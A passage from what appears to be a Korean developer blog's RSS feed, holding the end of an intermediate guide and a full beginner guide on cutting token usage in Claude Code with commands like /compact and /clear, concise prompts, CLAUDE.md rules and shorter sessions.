&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 설정은 Claude가 파일을 수정할 때마다 자동으로 ESLint를 실행합니다. Claude에게 &quot;린트 돌려줘&quot;라고 매번 말할 필요가 없습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. 프롬프트에 출력 형식 제한 걸기&lt;/h2&gt;
&lt;p&gt;Claude의 응답이 길수록 출력 토큰이 늘어납니다. 출력 형식을 제한하면 효과적입니다.&lt;/p&gt;
&lt;h3&gt;답변 길이 제한&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;이 함수의 버그를 찾아서 한 줄로 설명해줘.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;변경이 필요한 파일 목록만 알려줘. 코드는 아직 수정하지 마.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;단계별 작업 지시&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# 나쁜 예 — 한 번에 모든 것을 요구
&quot;이 프로젝트 분석하고, 문제점 찾고, 해결책 제안하고, 코드 수정까지 해줘&quot;

# 좋은 예 — 단계별로 나눠서 요청
&quot;이 프로젝트의 성능 문제 3가지만 목록으로 알려줘&quot;
→ (결과 확인 후)
&quot;2번 문제를 수정해줘&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;한 번에 모든 걸 요청하면 Claude가 긴 응답을 생성하고, 그 응답이 다음 턴의 컨텍스트가 되어 토큰이 눈덩이처럼 불어납니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. 파일 지정으로 탐색 범위 줄이기&lt;/h2&gt;
&lt;p&gt;Claude Code는 관련 파일을 찾기 위해 프로젝트를 탐색합니다. 이 탐색 과정 자체가 토큰을 소모합니다.&lt;/p&gt;
&lt;h3&gt;파일을 직접 지정하면?&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# 나쁜 예 — Claude가 파일을 찾아야 함
&quot;로그인 버그 고쳐줘&quot;

# 좋은 예 — 파일을 직접 지정
&quot;src/auth/login.ts의 validateToken 함수에서 만료 체크 로직 수정해줘&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;파일 경로와 함수명을 직접 지정하면 &lt;strong&gt;탐색 과정을 건너뛰므로&lt;/strong&gt; 토큰이 절약됩니다.&lt;/p&gt;
&lt;h3&gt;@파일 참조 활용&lt;/h3&gt;
&lt;p&gt;IDE 확장(VS Code 등)에서는 &lt;code class=&quot;language-text&quot;&gt;@&lt;/code&gt; 기호로 파일을 직접 참조할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;@src/auth/login.ts 이 파일의 validateToken 함수 수정해줘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이렇게 하면 Claude가 파일을 검색하는 단계 없이 바로 해당 파일을 읽습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;중급편 요약 — 설정 체크리스트&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;방법&lt;/th&gt;
&lt;th&gt;절약 효과&lt;/th&gt;
&lt;th&gt;적용 난이도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;.claudeignore 설정&lt;/td&gt;
&lt;td&gt;★★★★★&lt;/td&gt;
&lt;td&gt;쉬움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;서브에이전트 활용&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;보통&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;모델 전환 전략&lt;/td&gt;
&lt;td&gt;★★★★★&lt;/td&gt;
&lt;td&gt;쉬움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;autocompact 설정&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;쉬움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Hook 자동화&lt;/td&gt;
&lt;td&gt;★★★☆☆&lt;/td&gt;
&lt;td&gt;어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;출력 형식 제한&lt;/td&gt;
&lt;td&gt;★★★☆☆&lt;/td&gt;
&lt;td&gt;쉬움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;파일 직접 지정&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;쉬움&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;초급편의 습관 + 중급편의 설정을 조합하면, 동일한 작업을 &lt;strong&gt;기존 대비 1/3 수준의 토큰&lt;/strong&gt;으로 처리할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. .claudeignore에 너무 많은 파일을 넣으면 Claude가 필요한 파일을 못 읽는 거 아닌가요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;맞습니다. 핵심은 &quot;절대 수정하지 않을 파일&quot;만 넣는 것입니다. &lt;code class=&quot;language-text&quot;&gt;node_modules&lt;/code&gt;, 빌드 산출물, 미디어 파일처럼 코딩 작업과 관련 없는 것만 넣으세요. 소스 코드는 넣지 마세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. Haiku 모델로 코딩해도 괜찮나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;단순한 작업(변수명 변경, import 추가, 포매팅)은 충분합니다. 하지만 복잡한 로직이나 아키텍처 결정이 필요한 작업에서는 품질 차이가 있습니다. 작업 복잡도에 따라 모델을 전환하는 것이 핵심입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. autocompact를 켜면 중요한 대화 내용이 사라지나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Claude가 자동으로 요약하기 때문에 세부 디테일은 줄어들 수 있습니다. 하지만 코드 변경 사항은 파일에 남아있고, 핵심 결정 사항은 요약에 포함됩니다. 커스텀 프롬프트를 설정하면 어떤 내용을 유지할지 지시할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;다음 고급편에서는 &lt;strong&gt;Memory 시스템, Skill 최적화, 워크트리 격리, 비용 모니터링 자동화&lt;/strong&gt; 등 아키텍처 레벨의 토큰 관리 전략을 다룹니다.&lt;/p&gt;
&lt;p&gt;여러분은 어떤 설정이 가장 효과적이었나요? 댓글로 공유해주세요!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Claude Code 토큰 절약 가이드 [초급편] — 지금 바로 줄이는 5가지 방법]]></title><description><![CDATA[Claude Code 토큰 절약 가이드 초급편 커버 — compact·clear·CLAUDE.md 5가지 방법 안녕하세요, 자바파커입니다. "Claude Code…]]></description><link>https://blog.javapark.kr/token-saving-beginner/</link><guid isPermaLink="false">https://blog.javapark.kr/token-saving-beginner/</guid><pubDate>Sun, 05 Apr 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/claude-code-token-saving-beginner.png&quot; alt=&quot;Claude Code 토큰 절약 가이드 초급편 커버 — compact·clear·CLAUDE.md 5가지 방법&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Claude Code 쓰다가 요금 폭탄 맞았어요...&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이런 이야기, 한두 번 들은 게 아닙니다. 저도 처음에는 대화 몇 번 했을 뿐인데 토큰이 순식간에 사라져서 당황했습니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;기본적인 습관 몇 가지만 들이면 토큰 소모량을 절반 이하로 줄일 수 있습니다.&lt;/strong&gt; 오늘은 Claude Code를 막 시작한 분들도 바로 적용할 수 있는 토큰 절약법 5가지를 정리합니다.&lt;/p&gt;
&lt;p&gt;이 글은 &lt;strong&gt;[초급 → 중급 → 고급] 시리즈의 첫 번째 편&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;먼저 알아야 할 것 — 토큰이란?&lt;/h2&gt;
&lt;p&gt;토큰은 AI가 텍스트를 처리하는 최소 단위입니다. 한국어 기준으로 대략 &lt;strong&gt;한 글자가 1~2토큰&lt;/strong&gt;, 영어는 &lt;strong&gt;한 단어가 1토큰&lt;/strong&gt; 정도입니다.&lt;/p&gt;
&lt;p&gt;Claude Code에서 토큰이 소모되는 구조를 정리하면:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구분&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;토큰 소모&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;입력 토큰&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;내가 보낸 메시지 + 컨텍스트(파일, 대화 기록)&lt;/td&gt;
&lt;td&gt;대화가 길어질수록 증가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;출력 토큰&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Claude가 생성한 응답&lt;/td&gt;
&lt;td&gt;응답이 길수록 증가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;컨텍스트 토큰&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;매 턴마다 누적되는 전체 대화 내용&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;가장 큰 비중&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;핵심은 &lt;strong&gt;컨텍스트 토큰&lt;/strong&gt;입니다. Claude Code는 매번 대화 전체를 다시 읽기 때문에, 대화가 길어질수록 &lt;strong&gt;같은 질문이라도 토큰 소모가 기하급수적으로 늘어납니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;비유하자면, 매번 대화할 때마다 &lt;strong&gt;지금까지의 회의록을 처음부터 끝까지 다시 읽는 것&lt;/strong&gt;과 같습니다. 회의록이 10페이지면 10페이지, 100페이지면 100페이지를 매번 읽습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;현재 토큰 사용량 확인하는 법&lt;/h2&gt;
&lt;p&gt;절약하려면 먼저 얼마나 쓰고 있는지 알아야겠죠? Claude Code에서 토큰 사용량을 확인하는 방법은 간단합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;방법 1: 대화 중 확인&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Claude Code 하단 상태바에 현재 세션의 토큰 사용량이 표시됩니다. &lt;code class=&quot;language-text&quot;&gt;↑&lt;/code&gt;는 입력 토큰, &lt;code class=&quot;language-text&quot;&gt;↓&lt;/code&gt;는 출력 토큰입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;방법 2: /cost 명령어&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/cost&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;현재 세션의 누적 비용과 토큰 사용량을 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;방법 3: 대시보드에서 확인&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://console.anthropic.com/&quot;&gt;Anthropic Console&lt;/a&gt;에서 API 사용량을 확인할 수 있습니다. Max 요금제 사용자는 &lt;a href=&quot;https://claude.ai/usage&quot;&gt;Claude 사용량 페이지&lt;/a&gt;에서 확인 가능합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;토큰 절약법 1 — /compact로 대화 압축하기&lt;/h2&gt;
&lt;p&gt;가장 즉각적이고 효과적인 방법입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/compact&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 명령어를 입력하면 Claude가 &lt;strong&gt;지금까지의 대화를 요약&lt;/strong&gt;해서 컨텍스트를 줄여줍니다. 10,000토큰짜리 대화가 2,000~3,000토큰으로 압축됩니다.&lt;/p&gt;
&lt;h3&gt;언제 쓰면 좋을까?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;대화가 20턴 이상 길어졌을 때&lt;/li&gt;
&lt;li&gt;주제가 바뀌었을 때&lt;/li&gt;
&lt;li&gt;상태바의 토큰 수가 급격히 늘었을 때&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;커스텀 압축도 가능&lt;/h3&gt;
&lt;p&gt;특정 내용을 유지하면서 압축하고 싶다면:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/compact 파일 수정 내역은 유지하고 나머지 압축해줘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이렇게 지시를 추가할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;자동 압축 설정&lt;/h3&gt;
&lt;p&gt;매번 수동으로 입력하기 귀찮다면, 자동 압축을 설정할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ~/.claude/settings.json&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;preferences&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;autoCompact&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이렇게 설정하면 컨텍스트가 일정 크기를 넘으면 자동으로 압축됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;토큰 절약법 2 — /clear로 깨끗하게 시작하기&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/clear&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;작업 주제가 완전히 바뀔 때는 압축보다 &lt;strong&gt;초기화&lt;/strong&gt;가 낫습니다. &lt;code class=&quot;language-text&quot;&gt;/clear&lt;/code&gt;는 대화 기록을 완전히 지우고 새로 시작합니다.&lt;/p&gt;
&lt;h3&gt;/compact vs /clear 비교&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;/compact&lt;/th&gt;
&lt;th&gt;/clear&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;동작&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;대화 요약 후 유지&lt;/td&gt;
&lt;td&gt;대화 기록 완전 삭제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;이전 맥락&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;요약본으로 유지&lt;/td&gt;
&lt;td&gt;완전히 사라짐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;사용 시점&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;같은 작업 계속할 때&lt;/td&gt;
&lt;td&gt;새 작업 시작할 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;토큰 절약&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;중간 (60~70% 감소)&lt;/td&gt;
&lt;td&gt;최대 (100% 초기화)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;팁:&lt;/strong&gt; 하나의 작업이 끝나면 습관적으로 &lt;code class=&quot;language-text&quot;&gt;/clear&lt;/code&gt; 후 다음 작업을 시작하세요. 이것만으로도 토큰 낭비를 크게 줄일 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;토큰 절약법 3 — 프롬프트를 간결하게 쓰기&lt;/h2&gt;
&lt;p&gt;같은 요청이라도 프롬프트 길이에 따라 토큰 소모가 달라집니다.&lt;/p&gt;
&lt;h3&gt;나쁜 예 (불필요하게 긴 프롬프트)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;안녕하세요. 저는 지금 React 프로젝트를 하고 있는데요,
src/components 폴더에 있는 Header.tsx 파일을 좀 봐주실 수 있을까요?
거기에 네비게이션 메뉴가 있는데, 메뉴 항목을 추가하고 싶습니다.
Home, About, Contact 세 개가 있는데 Blog를 추가해주세요.
스타일은 기존과 동일하게 맞춰주시면 감사하겠습니다.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;좋은 예 (핵심만 담은 프롬프트)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Header.tsx 네비게이션에 Blog 메뉴 항목 추가해줘. 기존 스타일 유지.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;두 프롬프트의 결과는 동일하지만, 토큰 소모량은 5배 이상 차이&lt;/strong&gt;납니다. Claude Code는 코드베이스를 직접 읽기 때문에 파일 경로나 구조를 장황하게 설명할 필요가 없습니다.&lt;/p&gt;
&lt;h3&gt;간결한 프롬프트 작성 원칙&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;인사 생략&lt;/strong&gt; — &quot;안녕하세요&quot; 같은 인사는 토큰 낭비입니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;배경 설명 최소화&lt;/strong&gt; — Claude가 코드에서 파악할 수 있는 내용은 생략&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;핵심 동작만 명시&lt;/strong&gt; — &quot;무엇을&quot; &quot;어디에&quot; &quot;어떻게&quot; 세 가지만&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;한 번에 하나&lt;/strong&gt; — 여러 작업을 한 프롬프트에 넣으면 응답도 길어짐&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;토큰 절약법 4 — CLAUDE.md로 반복 설명 줄이기&lt;/h2&gt;
&lt;p&gt;매번 같은 규칙을 설명하고 계신가요?&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;// 매번 이렇게 말하고 있다면...
&quot;TypeScript로 작성해줘. strict 모드로.
 함수는 화살표 함수로.
 테스트는 vitest로.&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이런 반복 지시를 &lt;strong&gt;CLAUDE.md 파일에 한 번만 적어두면&lt;/strong&gt;, 매 대화에서 자동으로 적용됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;&amp;lt;!-- 프로젝트 루트에 CLAUDE.md 생성 --&gt;&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 코딩 규칙&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; TypeScript strict 모드 사용
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 함수는 화살표 함수로 작성
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 테스트 프레임워크: vitest
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 에러 핸들링: try-catch 필수&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;CLAUDE.md는 프로젝트를 열 때 자동으로 읽히기 때문에, 매번 같은 지시를 타이핑하는 토큰을 절약할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;CLAUDE.md도 토큰을 소모한다&lt;/h3&gt;
&lt;p&gt;주의할 점이 있습니다. CLAUDE.md 자체도 매 턴마다 컨텍스트에 포함되므로, &lt;strong&gt;너무 길게 쓰면 오히려 역효과&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CLAUDE.md 길이&lt;/th&gt;
&lt;th&gt;권장 여부&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;10줄 이내&lt;/td&gt;
&lt;td&gt;적극 권장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;30줄 이내&lt;/td&gt;
&lt;td&gt;괜찮음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;100줄 이상&lt;/td&gt;
&lt;td&gt;비효율 — 분리 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;팁:&lt;/strong&gt; 핵심 규칙만 간결하게 적으세요. 길어지면 중급편에서 다룰 Skill이나 Memory로 분리하는 것이 좋습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;토큰 절약법 5 — 작업 단위를 쪼개기&lt;/h2&gt;
&lt;p&gt;가장 많은 사람이 놓치는 부분입니다.&lt;/p&gt;
&lt;h3&gt;나쁜 패턴: 하나의 대화에서 모든 것을 처리&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;로그인 기능 만들어줘&quot;
→ (50턴 대화)
→ &quot;그리고 회원가입도 추가해줘&quot;
→ (30턴 추가)
→ &quot;마이페이지도...&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이러면 마지막 요청 시점에는 &lt;strong&gt;80턴 분량의 컨텍스트를 매 턴마다 다시 읽게&lt;/strong&gt; 됩니다.&lt;/p&gt;
&lt;h3&gt;좋은 패턴: 작업별로 새 세션&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;[세션 1] &quot;로그인 기능 만들어줘&quot; → 완료 → /clear
[세션 2] &quot;회원가입 기능 추가해줘&quot; → 완료 → /clear
[세션 3] &quot;마이페이지 만들어줘&quot; → 완료&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;작업이 독립적이라면 반드시 세션을 나누세요.&lt;/strong&gt; 각 세션이 짧을수록 토큰 효율이 높아집니다.&lt;/p&gt;
&lt;h3&gt;이상적인 세션 길이&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;세션 길이&lt;/th&gt;
&lt;th&gt;토큰 효율&lt;/th&gt;
&lt;th&gt;권장&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1~10턴&lt;/td&gt;
&lt;td&gt;매우 높음&lt;/td&gt;
&lt;td&gt;권장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10~30턴&lt;/td&gt;
&lt;td&gt;보통&lt;/td&gt;
&lt;td&gt;중간에 /compact&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;30턴 이상&lt;/td&gt;
&lt;td&gt;낮음&lt;/td&gt;
&lt;td&gt;/clear 후 재시작&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;초급편 요약 — 체크리스트&lt;/h2&gt;
&lt;p&gt;지금 바로 적용할 수 있는 토큰 절약 체크리스트입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;방법&lt;/th&gt;
&lt;th&gt;절약 효과&lt;/th&gt;
&lt;th&gt;난이도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/compact&lt;/code&gt;로 대화 압축&lt;/td&gt;
&lt;td&gt;★★★★★&lt;/td&gt;
&lt;td&gt;쉬움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/clear&lt;/code&gt;로 세션 초기화&lt;/td&gt;
&lt;td&gt;★★★★★&lt;/td&gt;
&lt;td&gt;쉬움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;프롬프트 간결하게 쓰기&lt;/td&gt;
&lt;td&gt;★★★☆☆&lt;/td&gt;
&lt;td&gt;쉬움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;CLAUDE.md로 반복 지시 제거&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;보통&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;작업 단위 쪼개기&lt;/td&gt;
&lt;td&gt;★★★★★&lt;/td&gt;
&lt;td&gt;쉬움&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이 다섯 가지만 습관화해도 &lt;strong&gt;체감 비용이 절반 이하로&lt;/strong&gt; 줄어드는 걸 느끼실 겁니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. /compact를 너무 자주 하면 Claude가 이전 작업을 까먹나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;네, 압축 과정에서 세부 디테일은 사라질 수 있습니다. 중요한 결정 사항이 있다면 &lt;code class=&quot;language-text&quot;&gt;/compact&lt;/code&gt; 전에 CLAUDE.md나 코드 주석으로 남겨두는 게 안전합니다. 하지만 코드에 이미 반영된 변경 사항은 파일을 다시 읽으면 되므로 크게 걱정하지 않아도 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. Claude Code에서 토큰을 가장 많이 잡아먹는 건 뭔가요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;컨텍스트 누적&lt;/strong&gt;입니다. 대화가 길어질수록 매 턴마다 이전 대화 전체를 다시 읽기 때문에, 50턴 대화의 마지막 메시지는 첫 메시지보다 수십 배의 토큰을 소모합니다. 세션을 짧게 유지하는 것이 가장 효과적인 절약법입니다.&lt;/p&gt;
